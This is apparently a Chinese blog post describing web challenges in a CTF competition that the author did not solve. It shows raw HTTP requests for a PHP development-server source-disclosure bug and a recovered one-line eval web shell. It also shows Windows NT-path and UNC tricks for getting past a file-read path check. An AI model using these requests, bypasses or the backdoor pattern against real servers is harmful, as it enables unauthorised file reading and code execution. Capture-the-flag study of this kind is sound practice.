尝试两题均未解出，悲

keep

首先利用PHP Development Server <= 7.4.21 - Remote Source Disclosure漏洞获得页面源码，需要构造如下请求：

GET / HTTP/1.1
Host: 61.147.171.35:51585




GET /wwwroot.tgz HTTP/1.1

而后获得源码：

php

HTTP/1.1 200 OK
Host: 61.147.171.35:51585
Date: Sat, 24 Jan 2026 12:35:19 +0000
Connection: close
Content-Length: 92

<?php
@error_reporting(~E_ALL);

echo "Hello World!" . PHP_EOL;

// s3Cr37_f1L3.php.bak

下一步访问提示的文件s3Cr37_f1L3.php.bak，发现有一个可传参的eval：

php

<?php

@eval($_POST["admin"]);

Path Maze

首先访问提示接口/api/info，获得提示：

json

{"data":{"challenge":"Path Maze","hints":["Stage 1: Find and read the access token from the system","Stage 2: Use the token to access the backup server","Token location: C:\\token\\access_key.txt","Backup server: 172.20.0.10","Backup server SMB Share name: backup","Flag file: flag.txt"],"stages":2,"version":"1.0.0"},"success":true}

根据页面的步骤Stage 1: Diagnostic Access，第一步尝试访问access_key.txt，为了绕过校验使用NT路径绕过：

/api/diag/read?path=\\?\C:\token\access_key.txt

成功拿到Token了。此时尝试第二阶段，使用：

\\?\UNC\172.20.0.10\backup\flag.txt

报错：

json

{"error":"Path validation failed: UNC path not allowed","success":false}

使用：

\\?\GLOBALROOT\Device\Mup\172.20.0.10\backup\flag.txt

报错：

json

{"error":"Path validation failed: NT namespace access not allowed","success":false}

使用：

\Device\Mup\172.20.0.10\backup\flag.txt

报错：

json

{"error":"Path validation failed: NT namespace access not allowed","success":false}

然而我们发现使用第二关的接口再次读Token得到不一样的结果：

http://1.95.51.2:8080/api/export/read?path=\\?\C:\token\access_key.txt&token=OKW1RxDBAQ4WF6U6UkTBPepgAkzh06qOuRsfFg_krNw

json

{"content":"ACCESS_KEY:PathMaze2026SecureToken","size":37,"success":true}

应该没啥用...

【CTF】LilacCTF 2026题不解 - Web方向

keep

Path Maze

喜欢这篇文章的人也看了

【CTF】2026大连理工大学网络安全校赛题解

【CTF】软件系统安全赛区域决赛题解